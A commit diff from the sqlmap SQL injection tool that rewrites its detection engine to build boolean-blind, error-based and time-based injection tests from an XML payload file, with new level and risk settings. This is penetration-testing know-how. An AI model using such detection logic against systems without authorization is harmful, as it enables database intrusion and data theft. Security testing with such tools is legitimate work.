Rewrite from scratch the detection engine. Now it performs checks defined in payload.xml. User can specify its own.

All (hopefully) functionalities should still be working.
Added two switches, --level and --risk to specify which injection tests and boundaries to use.
The main advantage now is that sqlmap is able to identify initially which injection types are present so for instance if boolean-based blind is not supported, but error-based is, sqlmap will keep going and work!
This commit is contained in:
Bernardo Damele 2010-11-28 18:10:54 +00:00
parent a8b38ba76b
commit 7e3b24afe6
24 changed files with 1968 additions and 333 deletions

View File

@ -15,6 +15,7 @@ from difflib import SequenceMatcher
from lib.core.agent import agent
from lib.core.common import beep
from lib.core.common import calculateDeltaSeconds
from lib.core.common import getUnicode
from lib.core.common import randomInt
from lib.core.common import randomStr
@ -26,8 +27,11 @@ from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.datatype import advancedDict
from lib.core.datatype import injectionDict
from lib.core.enums import HTTPMETHOD
from lib.core.enums import NULLCONNECTION
from lib.core.enums import PAYLOAD
from lib.core.exception import sqlmapConnectionException
from lib.core.exception import sqlmapGenericException
from lib.core.exception import sqlmapNoneDataException
@ -35,78 +39,274 @@ from lib.core.exception import sqlmapSiteTooDynamic
from lib.core.exception import sqlmapUserQuitException
from lib.core.session import setString
from lib.core.session import setRegexp
from lib.core.settings import ERROR_SPACE
from lib.core.settings import ERROR_EMPTY_CHAR
from lib.request.connect import Connect as Request
from plugins.dbms.firebird.syntax import Syntax as Firebird
from plugins.dbms.postgresql.syntax import Syntax as PostgreSQL
from plugins.dbms.mssqlserver.syntax import Syntax as MSSQLServer
from plugins.dbms.oracle.syntax import Syntax as Oracle
from plugins.dbms.mysql.syntax import Syntax as MySQL
from plugins.dbms.access.syntax import Syntax as Access
from plugins.dbms.sybase.syntax import Syntax as Sybase
from plugins.dbms.sqlite.syntax import Syntax as SQLite
from plugins.dbms.maxdb.syntax import Syntax as MaxDB
def checkSqlInjection(place, parameter, value, parenthesis):
"""
This function checks if the GET, POST, Cookie, User-Agent
parameters are affected by a SQL injection vulnerability and
identifies the type of SQL injection:
* Unescaped numeric injection
* Single quoted string injection
* Double quoted string injection
"""
def unescape(string, dbms):
unescaper = {
"Access": Access.unescape,
"Firebird": Firebird.unescape,
"MaxDB": MaxDB.unescape,
"Microsoft SQL Server": MSSQLServer.unescape,
"MySQL": MySQL.unescape,
"Oracle": Oracle.unescape,
"PostgreSQL": PostgreSQL.unescape,
"SQLite": SQLite.unescape,
"Sybase": Sybase.unescape
}
logic = conf.logic
randInt = randomInt()
randStr = randomStr()
prefix = ""
suffix = ""
retVal = None
if isinstance(dbms, list):
dbmsunescaper = unescaper[dbms[0]]
else:
dbmsunescaper = unescaper[dbms]
if conf.prefix or conf.suffix:
if conf.prefix:
prefix = conf.prefix
return dbmsunescaper(string)
if conf.suffix:
suffix = conf.suffix
def checkSqlInjection(place, parameter, value):
# Store here the details about boundaries and payload used to
# successfully inject
injection = injectionDict()
for case in kb.injections.root.case:
conf.matchRatio = None
for test in conf.tests:
title = test.title
stype = test.stype
proceed = True
positive = case.test.positive
negative = case.test.negative
if not prefix and not suffix and case.name == "custom":
# Parse test's <risk>
if test.risk > conf.risk:
debugMsg = "skipping test '%s' because the risk " % title
debugMsg += "is higher than the provided"
logger.debug(debugMsg)
continue
infoMsg = "testing %s (%s) injection " % (case.desc, logic)
infoMsg += "on %s parameter '%s'" % (place, parameter)
# Parse test's <level>
if test.level > conf.level:
debugMsg = "skipping test '%s' because the level " % title
debugMsg += "is higher than the provided"
logger.debug(debugMsg)
continue
if "details" in test and "dbms" in test.details:
dbms = test.details.dbms
else:
dbms = None
# Skip current test if it is the same SQL injection type
# already identified by another test
if injection.data and stype in injection.data:
debugMsg = "skipping test '%s' because " % title
debugMsg += "we have already the payload for %s" % PAYLOAD.SQLINJECTION[stype]
logger.debug(debugMsg)
continue
# Skip DBMS-specific tests if they do not match the DBMS
# identified
if injection.dbms is not None and injection.dbms != dbms:
debugMsg = "skipping test '%s' because " % title
debugMsg += "the back-end DBMS is %s" % injection.dbms
logger.debug(debugMsg)
continue
infoMsg = "testing '%s'" % title
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, negative.format % eval(negative.params))
_ = Request.queryPage(payload, place)
# Parse test's <request>
payload = agent.cleanupPayload(test.request.payload)
payload = agent.payload(place, parameter, value, positive.format % eval(positive.params))
trueResult = Request.queryPage(payload, place)
if dbms:
payload = unescape(payload, dbms)
if trueResult:
infoMsg = "confirming %s (%s) injection " % (case.desc, logic)
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
if "comment" in test.request:
comment = test.request.comment
else:
comment = ""
testPayload = "%s%s" % (payload, comment)
payload = agent.payload(place, parameter, value, negative.format % eval(negative.params))
if conf.prefix is not None and conf.suffix is not None:
boundary = advancedDict()
randInt = randomInt()
randStr = randomStr()
boundary.level = 1
boundary.clause = [ 0 ]
boundary.where = [ 1, 2, 3 ]
# TODO: inspect the conf.prefix and conf.suffix to set
# proper ptype
boundary.ptype = 1
boundary.prefix = conf.prefix
boundary.suffix = conf.suffix
falseResult = Request.queryPage(payload, place)
conf.boundaries.insert(0, boundary)
if not falseResult:
infoMsg = "%s parameter '%s' is %s (%s) injectable " % (place, parameter, case.desc, logic)
infoMsg += "with %d parenthesis" % parenthesis
logger.info(infoMsg)
for boundary in conf.boundaries:
# Parse boundary's <level>
if boundary.level > conf.level:
# NOTE: shall we report every single skipped boundary too?
continue
if conf.beep:
beep()
# Parse test's <clause> and boundary's <clause>
# Skip boundary if it does not match against test's <clause>
clauseMatch = False
for clauseTest in test.clause:
if clauseTest in boundary.clause:
clauseMatch = True
break
if test.clause != [ 0 ] and boundary.clause != [ 0 ] and not clauseMatch:
continue
# Parse test's <where> and boundary's <where>
# Skip boundary if it does not match against test's <where>
whereMatch = False
for where in test.where:
if where in boundary.where:
whereMatch = True
break
if not whereMatch:
continue
# Parse boundary's <prefix>, <suffix> and <ptype>
prefix = boundary.prefix if boundary.prefix else ""
suffix = boundary.suffix if boundary.suffix else ""
ptype = boundary.ptype
injectable = False
# If the previous injections succeeded, we know which prefix,
# postfix and parameter type to use for further tests, no
# need to cycle through all of the boundaries anymore
condBound = (injection.prefix is not None and injection.suffix is not None)
condBound &= (injection.prefix != prefix or injection.suffix != suffix)
condType = injection.ptype is not None and injection.ptype != ptype
if condBound or condType:
continue
# For each test's <where>
for where in test.where:
# The <where> tag defines where to add our injection
# string to the parameter under assessment.
if where == 1:
origValue = value
elif where == 2:
origValue = "-%s" % value
elif where == 3:
origValue = ""
# Forge payload by prepending with boundary's prefix and
# appending with boundary's suffix the test's
# ' <payload><command> ' string
boundPayload = "%s%s %s %s" % (origValue, prefix, testPayload, suffix)
boundPayload = boundPayload.strip()
boundPayload = agent.cleanupPayload(boundPayload)
reqPayload = agent.payload(place, parameter, value, boundPayload)
# Parse test's <response>
# Check wheather or not the payload was successful
for method, check in test.response.items():
check = agent.cleanupPayload(check)
# In case of boolean-based blind SQL injection
if method == "comparison":
sndPayload = agent.cleanupPayload(test.response.comparison)
if dbms:
sndPayload = unescape(sndPayload, dbms)
if "comment" in test.response:
sndComment = test.response.comment
else:
sndComment = ""
sndPayload = "%s%s" % (sndPayload, sndComment)
boundPayload = "%s%s %s %s" % (origValue, prefix, sndPayload, suffix)
boundPayload = boundPayload.strip()
boundPayload = agent.cleanupPayload(boundPayload)
cmpPayload = agent.payload(place, parameter, value, boundPayload)
# Useful to set conf.matchRatio at first
conf.matchRatio = None
_ = Request.queryPage(cmpPayload, place)
trueResult = Request.queryPage(reqPayload, place)
if trueResult:
falseResult = Request.queryPage(cmpPayload, place)
if not falseResult:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
kb.paramMatchRatio[(place, parameter)] = conf.matchRatio
injectable = True
kb.paramMatchRatio[(place, parameter)] = conf.matchRatio
# In case of error-based or UNION query SQL injections
elif method == "grep":
reqBody, _ = Request.queryPage(reqPayload, place, content=True)
match = re.search(check, reqBody, re.DOTALL | re.IGNORECASE)
if not match:
continue
output = match.group('result')
if output:
output = output.replace(ERROR_SPACE, " ").replace(ERROR_EMPTY_CHAR, "")
if output == "1":
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
injectable = True
# In case of time-based blind or stacked queries SQL injections
elif method == "time":
start = time.time()
_ = Request.queryPage(reqPayload, place)
duration = calculateDeltaSeconds(start)
if duration >= conf.timeSec:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
injectable = True
if injectable is True:
injection.place = place
injection.parameter = parameter
injection.ptype = ptype
injection.prefix = prefix
injection.suffix = suffix
injection.data[stype] = (title, where, comment, boundPayload)
if "details" in test:
for detailKey, detailValue in test.details.items():
if detailKey == "dbms" and injection.dbms is None:
injection.dbms = detailValue
elif detailKey == "dbms_version" and injection.dbms_version is None:
injection.dbms_version = detailValue
elif detailKey == "os" and injection.os is None:
injection.os = detailValue
retVal = case.name
break
kb.paramMatchRatio[(place, parameter)] = conf.matchRatio
return retVal
return injection
def heuristicCheckSqlInjection(place, parameter, value):
if kb.nullConnection:

View File

@ -18,6 +18,8 @@ from lib.controller.checks import checkString
from lib.controller.checks import checkRegexp
from lib.controller.checks import checkConnection
from lib.controller.checks import checkNullConnection
from lib.core.agent import agent
from lib.core.common import dataToStdout
from lib.core.common import getUnicode
from lib.core.common import paramToDict
from lib.core.common import parseTargetUrl
@ -25,57 +27,121 @@ from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.dump import dumper
from lib.core.enums import HTTPMETHOD
from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE
from lib.core.exception import exceptionsTuple
from lib.core.exception import sqlmapNotVulnerableException
from lib.core.exception import sqlmapSilentQuitException
from lib.core.exception import sqlmapValueException
from lib.core.exception import sqlmapUserQuitException
from lib.core.session import setBooleanBased
from lib.core.session import setError
from lib.core.session import setInjection
from lib.core.session import setMatchRatio
from lib.core.session import setStacked
from lib.core.session import setTimeBased
from lib.core.target import initTargetEnv
from lib.core.target import setupTargetEnv
from lib.utils.parenthesis import checkForParenthesis
def __selectInjection(injData):
def __saveToSessionFile():
for inj in kb.injections:
place = inj.place
parameter = inj.parameter
for stype, sdata in inj.data.items():
payload = sdata[3]
if stype == 1:
kb.booleanTest = payload
setBooleanBased(place, parameter, payload)
elif stype == 2:
kb.errorTest = payload
setError(place, parameter, payload)
elif stype == 4:
kb.stackedTest = payload
setStacked(place, parameter, payload)
elif stype == 5:
kb.timeTest = payload
setTimeBased(place, parameter, payload)
setInjection(inj)
def __selectInjection():
"""
Selection function for injection place, parameters and type.
"""
message = "there were multiple injection points, please select the "
message += "one to use to go ahead:\n"
# TODO: when resume from session file, feed kb.injections and call
# __selectInjection()
points = []
for i in xrange(0, len(injData)):
injPlace = injData[i][0]
injParameter = injData[i][1]
injType = injData[i][2]
for i in xrange(0, len(kb.injections)):
place = kb.injections[i].place
parameter = kb.injections[i].parameter
ptype = kb.injections[i].ptype
message += "[%d] place: %s, parameter: " % (i, injPlace)
message += "%s, type: %s" % (injParameter, injType)
point = (place, parameter, ptype)
if i == 0:
message += " (default)"
if point not in points:
points.append(point)
message += "\n"
if len(points) == 1:
kb.injection = kb.injections[0]
elif len(points) > 1:
message = "there were multiple injection points, please select "
message += "the one to use for following injections:\n"
message += "[q] Quit"
select = readInput(message, default="0")
points = []
if not select:
index = 0
for i in xrange(0, len(kb.injections)):
place = kb.injections[i].place
parameter = kb.injections[i].parameter
ptype = kb.injections[i].ptype
point = (place, parameter, ptype)
elif select.isdigit() and int(select) < len(injData) and int(select) >= 0:
index = int(select)
if point not in points:
points.append(point)
elif select[0] in ( "Q", "q" ):
return "Quit"
message += "[%d] place: %s, parameter: " % (i, place)
message += "%s, type: %s" % (parameter, PAYLOAD.PARAMETER[ptype])
else:
warnMsg = "invalid choice, retry"
logger.warn(warnMsg)
__selectInjection(injData)
if i == 0:
message += " (default)"
return injData[index]
message += "\n"
message += "[q] Quit"
select = readInput(message, default="0")
if select.isdigit() and int(select) < len(kb.injections) and int(select) >= 0:
index = int(select)
elif select[0] in ( "Q", "q" ):
raise sqlmapUserQuitException
else:
errMsg = "invalid choice"
raise sqlmapValueException, errMsg
kb.injection = kb.injections[index]
def __formatInjection(inj):
header = "Place: %s\n" % inj.place
header += "Parameter: %s\n" % inj.parameter
data = ""
for stype, sdata in inj.data.items():
data += "Type: %s\n" % PAYLOAD.SQLINJECTION[stype]
data += "Payload: %s\n\n" % sdata[3]
return header, data
def __showInjections():
dataToStdout("sqlmap identified the following injection points:\n")
for inj in kb.injections:
header, data = __formatInjection(inj)
dumper.technic(header, data)
def start():
"""
@ -230,7 +296,7 @@ def start():
# TODO: consider the following line in __setRequestParams()
__testableParameters = True
if not kb.injPlace or not kb.injParameter or not kb.injType:
if not kb.injection.place or not kb.injection.parameter:
if not conf.string and not conf.regexp and not conf.eRegexp:
# NOTE: this is not needed anymore, leaving only to display
# a warning message to the user in case the page is not stable
@ -251,6 +317,10 @@ def start():
paramDict = conf.paramDict[place]
for parameter, value in paramDict.items():
testSqlInj = True
# TODO: with the new detection engine, review this
# part. Perhaps dynamicity test will not be of any
# use
paramKey = (conf.hostname, conf.path, place, parameter)
if paramKey in kb.testedParams:
@ -276,48 +346,33 @@ def start():
kb.testedParams.add(paramKey)
if testSqlInj:
# TODO: with the new detection engine, review this
# part. This will be moved to payloads.xml as well
heuristicCheckSqlInjection(place, parameter, value)
for parenthesis in range(0, 4):
logMsg = "testing sql injection on %s " % place
logMsg += "parameter '%s' with " % parameter
logMsg += "%d parenthesis" % parenthesis
logger.info(logMsg)
logMsg = "testing sql injection on %s " % place
logMsg += "parameter '%s'" % parameter
logger.info(logMsg)
injType = checkSqlInjection(place, parameter, value, parenthesis)
injection = checkSqlInjection(place, parameter, value)
if injType:
injData.append((place, parameter, injType))
break
else:
infoMsg = "%s parameter '%s' is not " % (place, parameter)
infoMsg += "injectable with %d parenthesis" % parenthesis
logger.info(infoMsg)
if not injData:
if injection:
kb.injections.append(injection)
else:
warnMsg = "%s parameter '%s' is not " % (place, parameter)
warnMsg += "injectable"
logger.warn(warnMsg)
if not kb.injPlace or not kb.injParameter or not kb.injType:
if len(injData) == 1:
injDataSelected = injData[0]
if len(kb.injections) == 0 and not kb.injection.place and not kb.injection.parameter:
errMsg = "all parameters are not injectable, try "
errMsg += "a higher --level"
raise sqlmapNotVulnerableException, errMsg
else:
__saveToSessionFile()
__showInjections()
__selectInjection()
elif len(injData) > 1:
injDataSelected = __selectInjection(injData)
else:
raise sqlmapNotVulnerableException, "all parameters are not injectable"
if injDataSelected == "Quit":
return
else:
kb.injPlace, kb.injParameter, kb.injType = injDataSelected
setInjection()
if kb.injPlace and kb.injParameter and kb.injType:
if kb.injection.place and kb.injection.parameter:
if conf.multipleTargets:
message = "do you want to exploit this SQL injection? [Y/n] "
exploit = readInput(message, default="Y")
@ -328,10 +383,9 @@ def start():
if condition:
if kb.paramMatchRatio:
conf.matchRatio = kb.paramMatchRatio[(kb.injPlace, kb.injParameter)]
conf.matchRatio = kb.paramMatchRatio[(kb.injection.place, kb.injection.parameter)]
setMatchRatio()
checkForParenthesis()
action()
except KeyboardInterrupt:

View File

@ -12,7 +12,6 @@ import re
from xml.etree import ElementTree as ET
from lib.core.common import getCompiledRegex
from lib.core.common import getInjectionCase
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.convert import urlencode
@ -23,6 +22,8 @@ from lib.core.datatype import advancedDict
from lib.core.enums import DBMS
from lib.core.enums import PLACE
from lib.core.exception import sqlmapNoneDataException
from lib.core.settings import ERROR_START_CHAR
from lib.core.settings import ERROR_END_CHAR
from lib.core.settings import PAYLOAD_DELIMITER
class Agent:
@ -70,28 +71,28 @@ class Agent:
falseValue = " AND %d=%d" % (randInt, randInt + 1)
# After identifing the injectable parameter
if kb.injPlace == PLACE.UA:
retValue = kb.injParameter.replace(kb.injParameter,
self.addPayloadDelimiters("%s%s" % (negValue, kb.injParameter + falseValue + newValue)))
elif kb.injParameter:
paramString = conf.parameters[kb.injPlace]
paramDict = conf.paramDict[kb.injPlace]
value = paramDict[kb.injParameter]
if kb.injection.place == PLACE.UA:
retValue = kb.injection.parameter.replace(kb.injection.parameter,
self.addPayloadDelimiters("%s%s" % (negValue, kb.injection.parameter + falseValue + newValue)))
elif kb.injection.parameter:
paramString = conf.parameters[kb.injection.place]
paramDict = conf.paramDict[kb.injection.place]
value = paramDict[kb.injection.parameter]
if "POSTxml" in conf.paramDict and kb.injPlace == PLACE.POST:
if "POSTxml" in conf.paramDict and kb.injection.place == PLACE.POST:
root = ET.XML(paramString)
iterator = root.getiterator(kb.injParameter)
iterator = root.getiterator(kb.injection.parameter)
for child in iterator:
child.text = self.addPayloadDelimiters(negValue + value + falseValue + newValue)
retValue = ET.tostring(root)
elif kb.injPlace == PLACE.URI:
elif kb.injection.place == PLACE.URI:
retValue = paramString.replace("*",
self.addPayloadDelimiters("%s%s" % (negValue, falseValue + newValue)))
else:
retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
"%s=%s" % (kb.injParameter, self.addPayloadDelimiters(negValue + value + falseValue + newValue)))
retValue = paramString.replace("%s=%s" % (kb.injection.parameter, value),
"%s=%s" % (kb.injection.parameter, self.addPayloadDelimiters(negValue + value + falseValue + newValue)))
# Before identifing the injectable parameter
elif parameter == PLACE.UA:
@ -125,6 +126,20 @@ class Agent:
return payload
def cleanupPayload(self, payload):
randInt = randomInt()
randInt1 = randomInt()
randStr = randomStr()
payload = payload.replace("[RANDNUM]", str(randInt))
payload = payload.replace("[RANDNUM1]", str(randInt1))
payload = payload.replace("[RANDSTR]", randStr)
payload = payload.replace("[ERROR_START_CHAR]", ERROR_START_CHAR)
payload = payload.replace("[ERROR_END_CHAR]", ERROR_END_CHAR)
payload = payload.replace("[SLEEPTIME]", str(conf.timeSec))
return payload
def prefixQuery(self, string):
"""
This method defines how the input string has to be escaped
@ -135,24 +150,9 @@ class Agent:
if conf.direct:
return self.payloadDirect(string)
logic = conf.logic
query = str()
case = getInjectionCase(kb.injType)
if kb.parenthesis is not None:
parenthesis = kb.parenthesis
else:
raise sqlmapNoneDataException, "unable to get the number of parenthesis"
if case is None:
raise sqlmapNoneDataException, "unsupported injection type"
if conf.prefix:
query = "%s " % conf.prefix.strip()
else:
query = case.usage.prefix.format % eval(case.usage.prefix.params)
query = "%s " % kb.injection.prefix
query += string
query = self.cleanupPayload(query)
return query
@ -165,27 +165,11 @@ class Agent:
if conf.direct:
return self.payloadDirect(string)
logic = conf.logic
case = getInjectionCase(kb.injType)
if case is None:
raise sqlmapNoneDataException, "unsupported injection type"
randInt = randomInt()
randStr = randomStr()
if kb.parenthesis is not None:
parenthesis = kb.parenthesis
else:
raise sqlmapNoneDataException, "unable to get the number of parenthesis"
if comment:
if comment is not None:
string += comment
if conf.suffix:
string += " %s" % conf.suffix
else:
string += case.usage.suffix.format % eval(case.usage.suffix.params)
string += " %s" % kb.injection.suffix
string = self.cleanupPayload(string)
return string

View File

@ -667,6 +667,7 @@ def setPaths():
paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.txt")
paths.PHPIDS_RULES_XML = os.path.join(paths.SQLMAP_XML_PATH, "phpids_rules.xml")
paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml")
paths.PAYLOADS_XML = os.path.join(paths.SQLMAP_XML_PATH, "payloads.xml")
paths.INJECTIONS_XML = os.path.join(paths.SQLMAP_XML_PATH, "injections.xml")
paths.LIVE_TESTS_XML = os.path.join(paths.SQLMAP_XML_PATH, "livetests.xml")
paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml")
@ -894,7 +895,7 @@ def parseUnionPage(output, expression, partial=False, condition=None, sort=True)
if partial or not condition:
logOutput = "".join(["%s%s%s" % (DUMP_START_MARKER, replaceNewlineTabs(value), DUMP_STOP_MARKER) for value in output])
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, logOutput))
if sort:
output = set(output)
@ -1296,17 +1297,6 @@ def calculateDeltaSeconds(start, epsilon=0.05):
"""
return int(time.time() - start + epsilon)
def getInjectionCase(name):
retVal = None
for case in kb.injections.root.case:
if case.name == name:
retVal = case
break
return retVal
def initCommonOutputs():
kb.commonOutputs = {}
key = None

View File

@ -56,3 +56,21 @@ class advancedDict(dict):
else:
self.__setitem__(item, value)
def injectionDict():
injection = advancedDict()
injection.place = None
injection.parameter = None
injection.ptype = None
injection.prefix = None
injection.suffix = None
# data is a dict with stype as key and a tuple as value with
# title, where, comment and reqPayload
injection.data = {}
injection.dbms = None
injection.dbms_version = None
injection.os = None
return injection

View File

@ -17,14 +17,14 @@ class PRIORITY:
HIGHEST = 100
class DBMS:
MYSQL = "MySQL"
ORACLE = "Oracle"
POSTGRESQL = "PostgreSQL"
MSSQL = "Microsoft SQL Server"
SQLITE = "SQLite"
ACCESS = "Microsoft Access"
FIREBIRD = "Firebird"
MAXDB = "SAP MaxDB"
MSSQL = "Microsoft SQL Server"
MYSQL = "MySQL"
ORACLE = "Oracle"
POSTGRESQL = "PostgreSQL"
SQLITE = "SQLite"
SYBASE = "Sybase"
class PLACE:
@ -53,3 +53,39 @@ class HASH:
ORACLE_OLD = r'(?i)\A[01-9a-f]{16}\Z'
MD5_GENERIC = r'(?i)\A[0-9a-f]{32}\Z'
SHA1_GENERIC = r'(?i)\A[0-9a-f]{40}\Z'
class PAYLOAD:
SQLINJECTION = {
1: "boolean-based blind",
2: "error-based",
3: "UNION query",
4: "stacked queries",
5: "AND/OR time-based blind"
}
PARAMETER = {
1: "Unescaped numeric",
2: "Single quoted string",
3: "LIKE single quoted string",
4: "Double quoted string",
5: "LIKE double quoted string"
}
RISK = {
0: "No risk",
1: "Low risk",
2: "Medium risk",
3: "High risk"
}
CLAUSE = {
0: "Always",
1: "WHERE",
2: "GROUP BY",
3: "ORDER BY",
4: "LIMIT",
5: "OFFSET",
6: "TOP",
7: "Table name",
8: "Column name"
}

View File

@ -64,6 +64,7 @@ from lib.core.settings import SUPPORTED_OS
from lib.core.settings import VERSION_STRING
from lib.core.update import update
from lib.parse.configfile import configFileParser
from lib.parse.payloads import loadPayloads
from lib.request.connect import Connect as Request
from lib.request.proxy import ProxyHTTPSHandler
from lib.request.certhandler import HTTPSCertAuthHandler
@ -1069,6 +1070,7 @@ def __setConfAttributes():
debugMsg = "initializing the configuration"
logger.debug(debugMsg)
conf.boundaries = []
conf.cj = None
conf.dataEncoding = "utf-8"
conf.dbmsConnector = None
@ -1094,6 +1096,7 @@ def __setConfAttributes():
conf.seqMatcher = difflib.SequenceMatcher(None)
conf.sessionFP = None
conf.start = True
conf.tests = []
conf.threadContinue = True
conf.threadException = False
conf.trafficFP = None
@ -1121,6 +1124,12 @@ def __setKnowledgeBaseAttributes():
kb.data = advancedDict()
# Injection types
kb.booleanTest = None
kb.errorTest = None
kb.stackedTest = None
kb.timeTest = None
# Basic back-end DBMS fingerprint
kb.dbms = None
kb.dbmsDetected = False
@ -1131,16 +1140,15 @@ def __setKnowledgeBaseAttributes():
kb.dep = None
kb.docRoot = None
kb.dynamicMarkings = []
kb.errorTest = None
kb.formNames = advancedDict()
kb.headersCount = 0
kb.headersFp = {}
kb.hintValue = None
kb.htmlFp = []
kb.injParameter = None
kb.injPlace = None
kb.injType = None
kb.injections = xmlobject.XMLFile(path=paths.INJECTIONS_XML)
kb.injection = advancedDict()
kb.injection.parameter = None
kb.injection.place = None
kb.injections = []
kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
kb.lastErrorPage = None
kb.lastRequestUID = 0
@ -1160,16 +1168,13 @@ def __setKnowledgeBaseAttributes():
kb.pageStable = None
kb.paramMatchRatio = {}
kb.parenthesis = None
kb.partRun = None
kb.proxyAuthHeader = None
kb.queryCounter = 0
kb.resumedQueries = {}
kb.stackedTest = None
kb.tamperFunctions = []
kb.targetUrls = set()
kb.testedParams = set()
kb.timeTest = None
kb.unionComment = ""
kb.unionCount = None
kb.unionPosition = None
@ -1378,5 +1383,6 @@ def init(inputOptions=advancedDict()):
__setWriteFile()
__setMetasploit()
loadPayloads()
update()
__loadQueries()

View File

@ -63,6 +63,8 @@ optDict = {
},
"Detection": {
"level": "integer",
"risk": "integer",
"string": "string",
"regexp": "string",
"eString": "string",

View File

@ -15,6 +15,7 @@ from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES
@ -68,47 +69,33 @@ def setMatchRatio():
)
if condition:
dataToSessionFile("[%s][%s][%s][Match ratio][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), conf.matchRatio))
dataToSessionFile("[%s][%s][%s][Match ratio][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), conf.matchRatio))
def setInjection():
def setInjection(inj):
"""
Save information retrieved about injection place and parameter in the
session file.
"""
if kb.injPlace == PLACE.UA:
kb.injParameter = conf.agent
if inj.place == PLACE.UA:
inj.parameter = conf.agent
condition = (
kb.injPlace and kb.injParameter and ( not kb.resumedQueries
( not kb.resumedQueries
or ( kb.resumedQueries.has_key(conf.url) and
( not kb.resumedQueries[conf.url].has_key("Injection point")
or not kb.resumedQueries[conf.url].has_key("Injection parameter")
or not kb.resumedQueries[conf.url].has_key("Injection type")
) ) )
)
if condition:
dataToSessionFile("[%s][%s][%s][Injection point][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), kb.injPlace))
dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), kb.injParameter))
dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), kb.injType))
def setParenthesis(parenthesisCount):
"""
@param parenthesisCount: number of parenthesis to be set into the
knowledge base as fingerprint.
@type parenthesisCount: C{int}
"""
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Parenthesis") )
)
if condition:
dataToSessionFile("[%s][%s][%s][Parenthesis][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), parenthesisCount))
kb.parenthesis = parenthesisCount
for stype in inj.data.keys():
dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), PAYLOAD.SQLINJECTION[stype]))
dataToSessionFile("[%s][%s][%s][Injection point][%s]\n" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), inj.place))
dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), inj.parameter))
dataToSessionFile("[%s][%s][%s][Injection parameter type][%s]\n" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), PAYLOAD.PARAMETER[inj.ptype]))
dataToSessionFile("[%s][%s][%s][Injection prefix][%s]\n" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), inj.prefix))
dataToSessionFile("[%s][%s][%s][Injection suffix][%s]\n" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), inj.suffix))
def setDbms(dbms):
"""
@ -124,7 +111,7 @@ def setDbms(dbms):
)
if condition:
dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), safeFormatString(dbms)))
dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(dbms)))
firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
"|".join([alias for alias in MYSQL_ALIASES]),
@ -184,28 +171,43 @@ def setOs():
logger.info(infoMsg)
if condition:
dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), safeFormatString(kb.os)))
dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(kb.os)))
def setStacked():
def setBooleanBased(place, parameter, payload):
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Boolean-based blind injection") )
)
if condition:
dataToSessionFile("[%s][%s][%s][Boolean-based blind injection][%s]\n" % (conf.url, place, safeFormatString(conf.parameters[place]), payload))
def setStacked(place, parameter, payload):
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Stacked queries") )
)
if not isinstance(kb.stackedTest, basestring):
return
if condition:
dataToSessionFile("[%s][%s][%s][Stacked queries][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), kb.stackedTest))
dataToSessionFile("[%s][%s][%s][Stacked queries][%s]\n" % (conf.url, place, safeFormatString(conf.parameters[place]), payload))
def setError():
def setError(place, parameter, payload):
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Error based injection") )
not kb.resumedQueries[conf.url].has_key("Error-based injection") )
)
if condition:
